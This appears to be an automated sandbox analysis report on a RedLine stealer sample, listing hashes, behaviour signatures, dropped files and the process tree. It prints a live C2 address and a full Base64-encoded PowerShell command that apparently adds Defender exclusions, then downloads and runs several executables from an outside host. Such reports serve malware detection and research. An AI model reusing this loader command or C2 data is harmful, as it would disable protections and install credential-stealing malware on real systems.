Analysis

  • max time kernel
    155s
  • max time network
    167s
  • platform
    windows7_x64
  • resource
    win7-20220812-en
  • resource tags

    arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system
  • submitted
    16/01/2023, 13:32

General

  • Target

    77d29818be0d01c38545baa0bd4551c6853c224b.exe

  • Size

    365KB

  • MD5

    343adbd49e24d1bdec30f634f4055da8

  • SHA1

    77d29818be0d01c38545baa0bd4551c6853c224b

  • SHA256

    404c51dbba49787d8c3d9cde78efc1a5eb0d9f139c0c6b130438870a0ecc244c

  • SHA512

    4c6831539aef807c7cb4875306e5fecc06b769924e0a1f80a5316f194a5235ec9e904c932b3ec4021e7ef2237bc2dba3db47a8a1cb20244c67c9fa1e6d88298f

  • SSDEEP

    6144:SVjDF2Bp0G3LkjLsvBrL0+ecB4X0Y37cWI+HLq11aWBLXAO1DAjWbc:SRDF2BpjLQLsvBP0+ecyEY37C8P

Score
10/10

Malware Config

Extracted

Family

redline

Botnet

1

C2

107.182.129.73:21733

Attributes
  • auth_value

    3a5bb0917495b4312d052a0b8977d2bb

Signatures

  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine payload 4 IoCs
  • Blocklisted process makes network request 2 IoCs
  • Downloads MZ/PE file
  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 7 IoCs
  • Uses the VBS compiler for execution 1 TTPs
  • Suspicious use of SetThreadContext 2 IoCs
  • Program crash 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 11 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 44 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\77d29818be0d01c38545baa0bd4551c6853c224b.exe
    "C:\Users\Admin\AppData\Local\Temp\77d29818be0d01c38545baa0bd4551c6853c224b.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:788
    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"
      2⤵
        PID:2020
      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"
        2⤵
          PID:1700
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:1692
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAdABhACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAYwBqAHIAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAegBjAHMAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAYgB4AHoAIwA+ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGMAbwBuAG4AZQBjAHQAMgBtAGUALgBoAG8AcAB0AG8ALgBvAHIAZwAvAHcAbwB3AC8AMQAvADIALwAzAC8ANAAvADUALwA2AC8ANwAvAEMANABMAG8AYQBkAGUAcgAuAGUAeABlACcALAAgADwAIwBhAGEAYQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAGMAZAB6ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAGwAcwBqACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAEMANABMAG8AYQBkAGUAcgAuAGUAeABlACcAKQApADwAIwB3AGQAcwAjAD4AOwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAcwA6AC8ALwBjAG8AbgBuAGUAYwB0ADIAbQBlAC4AaABvAHAAdABvAC4AbwByAGcALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBuAGUAdwAyAC4AZQB4AGUAJwAsACAAPAAjAGoAYgBxACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAcQB6AGEAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAYwBlAGMAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAbgBlAHcAMgAuAGUAeABlACcAKQApADwAIwBtAGIAegAjAD4AOwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAcwA6AC8ALwBjAG8AbgBuAGUAYwB0ADIAbQBlAC4AaABvAHAAdABvAC4AbwByAGcALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBTAHkAcwBBAHAAcAAuAGUAeABlACcALAAgADwAIwBqAHcAYgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAGYAcQB0ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHcAYgBhACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAeQBzAEEAcABwAC4AZQB4AGUAJwApACkAPAAjAHUAYQB3ACMAPgA7ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGMAbwBuAG4AZQBjAHQAMgBtAGUALgBoAG8AcAB0AG8ALgBvAHIAZwAvAHcAbwB3AC8AMQAvADIALwAzAC8ANAAvADUALwA2AC8ANwAvAFMAbQBhAHIAdABEAGUAZgBSAHUAbgAuAGUAeABlACcALAAgADwAIwBoAGkAYgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAHQAcAB2ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHQAcgBzACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAbQBhAHIAdABEAGUAZgBSAHUAbgAuAGUAeABlACcAKQApADwAIwBqAGwAcAAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBkAGMAcgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAZAB3AHAAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAQwA0AEwAbwBhAGQAZQByAC4AZQB4AGUAJwApADwAIwBoAHgAZwAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBwAGcAeQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAbQBkAGYAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAbgBlAHcAMgAuAGUAeABlACcAKQA8ACMAdgBoAGUAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAZQBxAHkAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAGoAbABkACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAeQBzAEEAcABwAC4AZQB4AGUAJwApADwAIwB5AGkAbQAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBjAGEAZQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAcABrAGoAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAUwBtAGEAcgB0AEQAZQBmAFIAdQBuAC4AZQB4AGUAJwApADwAIwBoAGYAZAAjAD4A"
            3⤵
            • Blocklisted process makes network request
            • Loads dropped DLL
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:836
            • C:\Users\Admin\AppData\Local\Temp\new2.exe
              "C:\Users\Admin\AppData\Local\Temp\new2.exe"
              4⤵
              • Executes dropped EXE
              • Suspicious use of SetThreadContext
              • Suspicious use of WriteProcessMemory
              PID:2032
              • C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
                "C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"
                5⤵
                  PID:1396
                • C:\Windows\SysWOW64\WerFault.exe
                  C:\Windows\SysWOW64\WerFault.exe -u -p 2032 -s 36
                  5⤵
                  • Loads dropped DLL
                  • Program crash
                  PID:320
              • C:\Users\Admin\AppData\Local\Temp\SysApp.exe
                "C:\Users\Admin\AppData\Local\Temp\SysApp.exe"
                4⤵
                • Executes dropped EXE
                • Suspicious behavior: EnumeratesProcesses
                PID:1608
              • C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe
                "C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe"
                4⤵
                • Executes dropped EXE
                PID:712
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -u -p 788 -s 36
            2⤵
            • Program crash
            PID:1416

        Network

              MITRE ATT&CK Enterprise v6

              Replay Monitor

              Loading Replay Monitor...

              Downloads

              • C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe

                Filesize

                3.7MB

                MD5

                f5c51e7760315ad0f0238d268c03c60e

                SHA1

                85ebaaa9685634143a72bc82c6e7df87a78eed4c

                SHA256

                ea42fcee681ec3b06dac54d3da4b866143d68cbaa0dd0e00e7c10ae2a7c9d2aa

                SHA512

                d3b9ac3bf5467bd25439f2d29457361ac14d1be5b060078a7ef4f78540994679f9fed245d70a4e2a6edbc37b94a042be407ad7fbbd5a95600312946ffb558f35

              • C:\Users\Admin\AppData\Local\Temp\SysApp.exe

                Filesize

                1.4MB

                MD5

                b6bbab9f72c88d07b484cc339c475e75

                SHA1

                f06141cedf2aac3cfac6c997d99c00d8e7c5b4c1

                SHA256

                dd47342f809e86e447b68827dd3a1e72ea0795b71976ecd6fa242013b767b14f

                SHA512

                1ee084d4283b7359b5f261337e744adecc6a1e26a18b4d2412e6f53d2b602b5e8538112065d27a536776dedadfd0ec8a276aa977389f21f4491539753a0b9fa5

              • C:\Users\Admin\AppData\Local\Temp\new2.exe

                Filesize

                464KB

                MD5

                990c8e3fc56a2734631b51fc61a6779a

                SHA1

                55a16cc67fc52cdf0690387e083955048106d48a

                SHA256

                d80ce10659442d8e5b9c28e53bf254711881cf9502f52aeb8abf4a15c9e6e36e

                SHA512

                f5332bcae3242d86a58adf01069c425f5b22bdda9045200fb5b3d9ab3e983d94af8462a04e148b7164e8d6122ec2d198d18081850e00175bb257c0ddb3defdc5

              • \Users\Admin\AppData\Local\Temp\SmartDefRun.exe

                Filesize

                3.7MB

                MD5

                f5c51e7760315ad0f0238d268c03c60e

                SHA1

                85ebaaa9685634143a72bc82c6e7df87a78eed4c

                SHA256

                ea42fcee681ec3b06dac54d3da4b866143d68cbaa0dd0e00e7c10ae2a7c9d2aa

                SHA512

                d3b9ac3bf5467bd25439f2d29457361ac14d1be5b060078a7ef4f78540994679f9fed245d70a4e2a6edbc37b94a042be407ad7fbbd5a95600312946ffb558f35

              • \Users\Admin\AppData\Local\Temp\SysApp.exe

                Filesize

                1.4MB

                MD5

                b6bbab9f72c88d07b484cc339c475e75

                SHA1

                f06141cedf2aac3cfac6c997d99c00d8e7c5b4c1

                SHA256

                dd47342f809e86e447b68827dd3a1e72ea0795b71976ecd6fa242013b767b14f

                SHA512

                1ee084d4283b7359b5f261337e744adecc6a1e26a18b4d2412e6f53d2b602b5e8538112065d27a536776dedadfd0ec8a276aa977389f21f4491539753a0b9fa5

              • \Users\Admin\AppData\Local\Temp\SysApp.exe

                Filesize

                1.4MB

                MD5

                b6bbab9f72c88d07b484cc339c475e75

                SHA1

                f06141cedf2aac3cfac6c997d99c00d8e7c5b4c1

                SHA256

                dd47342f809e86e447b68827dd3a1e72ea0795b71976ecd6fa242013b767b14f

                SHA512

                1ee084d4283b7359b5f261337e744adecc6a1e26a18b4d2412e6f53d2b602b5e8538112065d27a536776dedadfd0ec8a276aa977389f21f4491539753a0b9fa5

              • \Users\Admin\AppData\Local\Temp\new2.exe

                Filesize

                464KB

                MD5

                990c8e3fc56a2734631b51fc61a6779a

                SHA1

                55a16cc67fc52cdf0690387e083955048106d48a

                SHA256

                d80ce10659442d8e5b9c28e53bf254711881cf9502f52aeb8abf4a15c9e6e36e

                SHA512

                f5332bcae3242d86a58adf01069c425f5b22bdda9045200fb5b3d9ab3e983d94af8462a04e148b7164e8d6122ec2d198d18081850e00175bb257c0ddb3defdc5

              • \Users\Admin\AppData\Local\Temp\new2.exe

                Filesize

                464KB

                MD5

                990c8e3fc56a2734631b51fc61a6779a

                SHA1

                55a16cc67fc52cdf0690387e083955048106d48a

                SHA256

                d80ce10659442d8e5b9c28e53bf254711881cf9502f52aeb8abf4a15c9e6e36e

                SHA512

                f5332bcae3242d86a58adf01069c425f5b22bdda9045200fb5b3d9ab3e983d94af8462a04e148b7164e8d6122ec2d198d18081850e00175bb257c0ddb3defdc5

              • \Users\Admin\AppData\Local\Temp\new2.exe

                Filesize

                464KB

                MD5

                990c8e3fc56a2734631b51fc61a6779a

                SHA1

                55a16cc67fc52cdf0690387e083955048106d48a

                SHA256

                d80ce10659442d8e5b9c28e53bf254711881cf9502f52aeb8abf4a15c9e6e36e

                SHA512

                f5332bcae3242d86a58adf01069c425f5b22bdda9045200fb5b3d9ab3e983d94af8462a04e148b7164e8d6122ec2d198d18081850e00175bb257c0ddb3defdc5

              • \Users\Admin\AppData\Local\Temp\new2.exe

                Filesize

                464KB

                MD5

                990c8e3fc56a2734631b51fc61a6779a

                SHA1

                55a16cc67fc52cdf0690387e083955048106d48a

                SHA256

                d80ce10659442d8e5b9c28e53bf254711881cf9502f52aeb8abf4a15c9e6e36e

                SHA512

                f5332bcae3242d86a58adf01069c425f5b22bdda9045200fb5b3d9ab3e983d94af8462a04e148b7164e8d6122ec2d198d18081850e00175bb257c0ddb3defdc5

              • memory/836-69-0x0000000073550000-0x0000000073AFB000-memory.dmp

                Filesize

                5.7MB

              • memory/836-95-0x0000000073550000-0x0000000073AFB000-memory.dmp

                Filesize

                5.7MB

              • memory/836-68-0x0000000073550000-0x0000000073AFB000-memory.dmp

                Filesize

                5.7MB

              • memory/1396-73-0x0000000000400000-0x0000000000420000-memory.dmp

                Filesize

                128KB

              • memory/1396-83-0x0000000000400000-0x0000000000420000-memory.dmp

                Filesize

                128KB

              • memory/1396-75-0x0000000000400000-0x0000000000420000-memory.dmp

                Filesize

                128KB

              • memory/1396-82-0x0000000000400000-0x0000000000420000-memory.dmp

                Filesize

                128KB

              • memory/1608-96-0x0000000001EA0000-0x00000000023A4000-memory.dmp

                Filesize

                5.0MB

              • memory/1608-97-0x0000000001EA0000-0x00000000023A4000-memory.dmp

                Filesize

                5.0MB

              • memory/1608-98-0x00000000023B0000-0x00000000024ED000-memory.dmp

                Filesize

                1.2MB

              • memory/1608-99-0x00000000023B0000-0x00000000024ED000-memory.dmp

                Filesize

                1.2MB

              • memory/1692-54-0x0000000000400000-0x0000000000405000-memory.dmp

                Filesize

                20KB

              • memory/1692-63-0x0000000076681000-0x0000000076683000-memory.dmp

                Filesize

                8KB

              • memory/1692-64-0x0000000000400000-0x0000000000405000-memory.dmp

                Filesize

                20KB

              • memory/1692-56-0x0000000000400000-0x0000000000405000-memory.dmp

                Filesize

                20KB